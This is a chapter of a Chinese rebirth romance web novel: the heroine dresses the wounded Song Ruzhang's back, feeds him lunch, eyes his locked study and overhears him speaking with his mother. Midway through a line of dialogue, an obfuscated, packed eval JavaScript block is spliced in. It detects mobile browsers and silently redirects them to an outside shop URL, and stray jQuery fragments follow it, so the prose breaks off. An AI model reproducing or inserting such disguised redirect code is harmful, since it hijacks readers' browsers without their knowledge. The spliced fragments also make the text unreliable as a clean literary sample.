还不等宋大人表态,流云抢先接话,喜动颜色:“夫人能敷药,那小的就放心了,李妈妈老眼昏花,如何做得这精细活计?”
宋汝璋一想,也没有别的办法,自己屋内屋外没有女使,如今擦药治伤需要肌肤接触,唯有薛灵燕还是孩童心性,倒也不必太过避讳。
薛灵儿自从嫁进门,总算找到了一样自己擅长的活计,三下五除二,净了手,轻轻剥开裹伤的绷带,一看伤口皮肉外翻,有些触目惊心,也不敢细看。
太医院留下的金创药自然是最好的,一打开便是清凉气息,薛灵儿将它细细涂抹在伤口上,又把绷带裹好,舒了一口气。
宋汝璋虽看不见,也感受到薛灵儿手法稳定,涂药均匀细致,不同寻常,心中微微觉得诧异,流云更是脱口赞道:“想不到夫人有这好本事,今后大人擦药治伤的事,就都归您了。”
薛灵儿还没来得及说话,外头有厨役通传,午饭摆上来了。
流云得了甜头,得寸进尺:“大人活动胳膊,怕是要牵动伤口疼痛,还是有人喂饭的好,夫人,这事恐怕还是劳烦您。”
薛灵儿一看,流云说的也是实情,于是慨然应下:“如此也好,秋香在水榭,你把她叫过来一同用饭。”
不多一时,把饭摆好,薛灵儿一看厨房拿过来的菜肴,日常用牛羊肉、鱼虾等,凡是不利于将养伤口的发物,一律没有,都是清热的爽口汤羹菜蔬,于是好奇问一句厨役:“今日的菜谱是谁定的?”
厨役也好奇瞥一眼薛灵儿,都说新娶的长房少夫人痴傻,这么一看,眼神清明,说话有纹有路,似乎也还不那么傻,于是恭敬答道:“回少夫人的话,是老夫人特意嘱咐过的,送到灵犀阁的菜,不用发物。”
薛灵儿与宋汝璋对视一眼,二人内心均泛过了一阵羞愧,宋汝璋低声说:“明日我便去祠堂请母亲回来。”薛灵儿点点头,用筷子夹了一个小小馒头,喂进了宋汝璋嘴里。
宋汝璋咀嚼两下,咽了下去,额角青筋与喉结微微牵动,薛灵儿又擎起一小碗荷叶汤,拿汤匙喂到他嘴里。
薛灵儿忽然察觉,二人的距离太近了些。
宋汝璋的呼吸从她的耳廓擦过,他的浓眉,清冷的瑞凤眼,清晰深邃的五官轮廓,忽然都变得有些锋锐逼人。
前世,她也就和皇帝这样接近过。
汤羹的热气扑在薛灵儿脸上,薛灵儿半边面孔发了红,身子往后退了退。
赶紧把心思往旁的地方移,禁不住想起方才,宋汝璋劲瘦有力的背部,新伤之下,还有十几道旧伤疤,看上去也是刑杖之伤,只是陈旧发亮,有数年之久。
薛灵儿心内奇怪。俗语说刑不上大夫,这宋汝璋科考一帆风顺,年少成名,究竟是什么人什么事,能在他身上留下杖刑呢。
薛灵儿好奇心被勾起,有心探问,却又觉得关系实在不够熟,不知从何问起,一时心痒难熬,宋汝璋却是浑然不知,泰然自若吃下饭食,开口说道:“我用好了,你也坐下吃些。”
薛灵儿见宋汝璋喝了热汤,额头见汗,少不得取出衣襟内的贴身罗帕,替他抹干,一近身,又觉男子热力逼人,待得服侍完他,自己坐在小圆桌旁,喝下一口秋香盛给他的汤,发觉自己也不知是紧张还是忙乱,也是一身的汗,小衣的后背微微湿透了。
用得几口清油炒制的清爽菜蔬,半碗珍珠酒酿圆子汤,小半碗碧绿的粳米饭,解了腹内之饥,想起今日之事,不觉哑然失笑,感慨世事无常。
宋大人入婚房那晚,约法三章,薛灵儿主仆不许踏入书房半步,如今不过短短的几日功夫,阴差阳错的就踏进来了。
自己刚嫁进门的时候,因宋汝璋是前世宿敌,自己也曾心内不屑,说要她服侍宋汝璋,除非再重生一次,结果,没过几天,服侍人家吃饭敷药。
而且,好像还服侍得心甘情愿。
一边用饭,一边四下里看,发现这书房建筑得颇有门道。里外三层,最外面一层是水榭,与花园相连,待客,读书,赏玩风景,中间一层是卧房,布置简约素净,与宋府整个风格相合,卧房之中又有一道门,关闭的紧紧,那便是书房重地了。
宋大人是监察御史,掌握着所有官员升迁的卷宗,安国公府的事情,是不是在这个书房里就能查到些……
宋汝璋用完了饭,由流云搀扶着在屋内慢慢踱步,一看薛灵儿大眼睛在四下里看,此刻正盯着那道门,于是起了警觉心,敲敲她面前的桌子:“灵燕,记得我叮嘱你的事吗,不许进那道门,知道吗?”
薛灵儿懊悔自己的神色暴露了心思,赶紧扯开话题:“大人放心,我记得牢牢的。我只是好奇,书房的水榭叫灵犀阁,是有什么讲究吗?还有,我住的屋子叫悲寥轩,这名字这么悲伤,是谁取的?”
本来是随意乱扯,可宋大人的表情好似挨了一棍,薛灵儿看见他素常冷冽的瑞凤眼中,一道刺痛一闪而过,接着整个人踉跄一下,背后伤口又渗出血来。
流云赶紧扶宋大人重新坐下,口里道歉:“大人,是我不好,用力猛了。”
宋汝璋神色转淡,安抚流云:“不妨事。”
薛灵儿也舒了口气,原来是行走用力,扯动了伤口,是自己想多了。
宋汝璋目光转向薛灵儿,淡色瞳仁此刻有点深:“你识字?”
薛灵儿心内发虚,今日自己莫非被吓破了胆,怎么处处是纰漏,然而不得不硬着头皮乱扯:“……我娘是乡下秀才之女,在我小时候脑子坏掉之前,她教过我一些。”
宋汝璋心里升起了一个疑问,秀才之女极少给人做妾的,然而还是点点头:“你想学,改日我教你。”
薛灵儿心内一万个不愿意,前世皇帝想教她诗文,屡屡被她推脱了,然而为了再到这个书房来,脸上做出欢喜之状:“谢谢大人,连我爹都懒得教我呢,大人待我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716183|144597||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
太好了。”
宋汝璋看着薛灵儿的大眼闪闪发亮,腮边露出小小梨涡,心中第一次觉得,跟年轻女子打交道,似乎也不是太难太烦心,只要这女子像他小妹子一样天真可喜。
流云简直比薛灵儿还兴奋,据他看来,两位主子照这么熟络下去,离圆房那都不远了,于是跟着助兴凑趣:“外头多少学童,求大人指点也不能,夫人要是跟大人学两天,就是出去考个状元回来,也是来得了。”
秋香也笑了:“流云小哥真会说话。真是有其主必有其仆。”
薛灵儿笑吟吟地看了宋汝璋一眼,心说这宋大人,嘴上功夫能赶上流云的一半,也就好了。
薛灵儿第一次来宋汝璋的书房,其乐融融,吃完了这段饭,虽是清淡时蔬,却吃的比皇宫的燕窝鱼翅还要香甜。
次日,薛灵儿在悲寥轩用过早饭,无所事事,还没到给宋大人换药的时辰,心内升起一个小小的念头,于是带着秋香,来到大厨房,问老夫人平日爱用什么饭食菜肴。
接待薛灵儿的,还是昨日那个厨役,一见长房少夫人亲自来到此处,要带食盒去祠堂侍奉婆母,越发的坚信,此女根本不傻,将来早晚是要掌家主事的,于是越发殷勤伺候着,将谢氏爱吃之物安排了妥妥贴贴的一个食盒。
苏玉茹来到大厨房日常巡看,赶上了薛灵儿主仆一个背影,心内不禁惊疑不定。这傻嫂子看来也根本不傻呀,这时候还知道讨好婆母,且做出孝顺样子来给全府人看,要不然,就是背后有心机陪房指点谋划?
无论怎样,她得想法子了,不能眼睁睁的把掌家少夫人的位子让别人谋了去。
苏玉茹眼望着二人的背影消失在祠堂方向,捏紧了帕子。
宋府的祠堂,在花园的尽头,整个宋府的最深处,三进的宅院,一色的黑漆木制,分外显得庄重,薛灵儿走进去,脚步也是格外放轻了一些。主仆二人轻手轻脚,来到供奉祖宗牌位的厅堂门前。
薛灵儿心内忍不住唏嘘,前世对于皇太后,也并没有这般的心思,自己与这性格刚硬的母子俩,只怕当真是有些莫名的缘分。
定一定神,正准备敲门进去,却听见祠堂内有人说话,仔细一听声音熟悉,是宋汝璋。
就听他说道:“母亲是不是不明白,儿子为何对灵燕,这样另眼相看?”
祠堂宽大高敞,自带一点回声,院内又林木高耸,十分幽静,故此,人在里头说话,虽然声音不高,在虚掩的门口一站,却是听得清清楚楚。
薛灵儿对身后提着食盒的秋香,摆了摆手,然后从虚掩的门口,往里头看去。
事关她自己,需得听一听,她也好奇,在她前世冷心冷情、铁面无私的宋大人,何以对一个痴傻姑娘,如此照拂。
就听谢氏沉默半晌,方才接了儿子的话:“为娘的冷眼看着,这么多年,你从来没对哪个女子,这样悉心照拂,这样放在心上过。”